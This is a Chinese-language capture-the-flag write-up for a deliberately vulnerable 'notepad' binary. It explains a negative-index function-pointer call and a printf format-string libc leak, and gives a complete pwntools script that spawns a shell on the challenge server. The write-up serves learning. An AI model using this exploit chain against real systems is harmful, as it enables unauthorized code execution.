https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了notepad这个题目感觉还不错,我把wp分享出来,方便大家学习
very_overflow的题目要求是:

nc hackme.inndy.tw 7713

把notepad直接拖入ida中:
main函数:

menu函数:

bash函数:

cmd函数:

rstrip函数:

notepad函数:

notepad_new函数:

notepad_open函数:

notepad_delete函数:

notepad_rdonly函数:

notepad_keepsec函数:

这个程序初看很复杂,函数很多,功能也很多,但是还是逃不出ctf的一些出题套路,可以参考这个问题: http://www.cnblogs.com/Ox9A82/p/5559167.html ,所以主要的漏洞点会出在notepad_open的编辑功能中
先运行一下程序看一下这个程序干了啥

再看看程序开启了哪些保护:

这个题目开了栈不可执行和canary保护,所以不可能是栈溢出
这个题目在创建一个notepad的时候会把数据和函数指针一起放入堆中,这个题目的漏洞点在notepad_open调用的menu函数中,因为notepad_open会根据你在菜单中选择的项目调用堆中指定的函数,因为menu函数只限制了选择的上限,没有限制选择的下限,所以可以让menu函数的返回结果为负数,这样调用的函数指针会指向上一块内存中的数据,也就是你可以控制的content的数据
而泄露libc基地址的方法是,第一次调用strncpy函数

目的是利用strncpy这个函数把0xfff2c9f4中的数据复制到0xfff2c9f0中去
然后再调用printf函数

这样就可以利用printf函数来泄露栈中任意数据了
然后再利用函数的编辑功能把第一块堆中的数据改成MAGIC_addr,最后再利用一次notepad_open函数就可以getshell了
我的exp是:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

localMAGIC = 0x3ac5c      #locallibc
remoteMAGIC = 0x3ac3e      #remotelibc   #libc6_2.23-0ubuntu3_i386.so

def debug(addr = '0x8048ce8'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

def base_addr(prog_addr,offset):
    return eval(prog_addr)-offset

elf = ELF('/home/h11p/hackme/notepad')
printf_addr=elf.plt['printf']
print 'printf_addr:'+hex(printf_addr)
strncpy_addr=elf.plt['strncpy']
print 'strncpy_addr:'+hex(strncpy_addr)
printf_got_addr=elf.got['printf']
print 'printf_got_addr:'+hex(printf_got_addr)

#io = process('/home/h11p/hackme/notepad')
io = remote('hackme.inndy.tw', 7713)


payload1='a'*4+p32(printf_addr)+p32(strncpy_addr)+'a'*3

#debug()
io.recvuntil('::> ')
io.sendline('c')
io.recvuntil('::>')
io.sendline('a')
io.recvuntil('size > ')
io.sendline('16')
io.recvuntil('data > ')
io.send(payload1)

io.recvuntil('::> ')
io.sendline('a')
io.recvuntil('size > ')
io.sendline('16')
io.recvuntil('data > ')
io.send('a'*15)

io.recvuntil('::> ')
io.sendline('b')
io.recvuntil('id > ')
io.sendline('1')
io.recvuntil('edit (Y/n)')
io.sendline(p32(0x59))
io.recvuntil('content > ')
io.sendline('%1067$p')
io.recvuntil('::> ')
io.sendline(p32(93))


io.recvuntil('::> ')
io.sendline('b')
io.recvuntil('id > ')
io.sendline('1')
io.recvuntil('::> ')
io.sendline(p32(92))
libc_start_main_247=io.recv().splitlines()[0]
libc_start_main=base_addr(libc_start_main_247,0xf7)
print "libc_start_main:"+hex(libc_start_main)

#local_libc_base=base_addr(libc_start_main_247,0x18637)
#print "libc_base:"+hex(local_libc_base)

remote_libc_base=base_addr(libc_start_main_247,0x18637)
print "libc_base:"+hex(remote_libc_base)


#MAGIC_addr=local_libc_base+localMAGIC
MAGIC_addr=remote_libc_base+remoteMAGIC
payload2=p32(MAGIC_addr)
print "MAGIC_addr:"+hex(MAGIC_addr)
#io.recv()
io.sendline('b')
io.recvuntil('id > ')
io.sendline('0')
io.recvuntil('edit (Y/n)')
io.sendline('Y')
io.recvuntil('content > ')
io.sendline(payload2)
io.recvuntil('::> ')
io.sendline('a')

io.recvuntil('::> ')
io.sendline('b')
io.recvuntil('id > ')
io.sendline('1')
io.recvuntil('::> ')
io.sendline(p32(91))

io.interactive()
io.close()

效果是:

notepad.zip (0.005 MB) 下载附件
源链接

Hacking more

...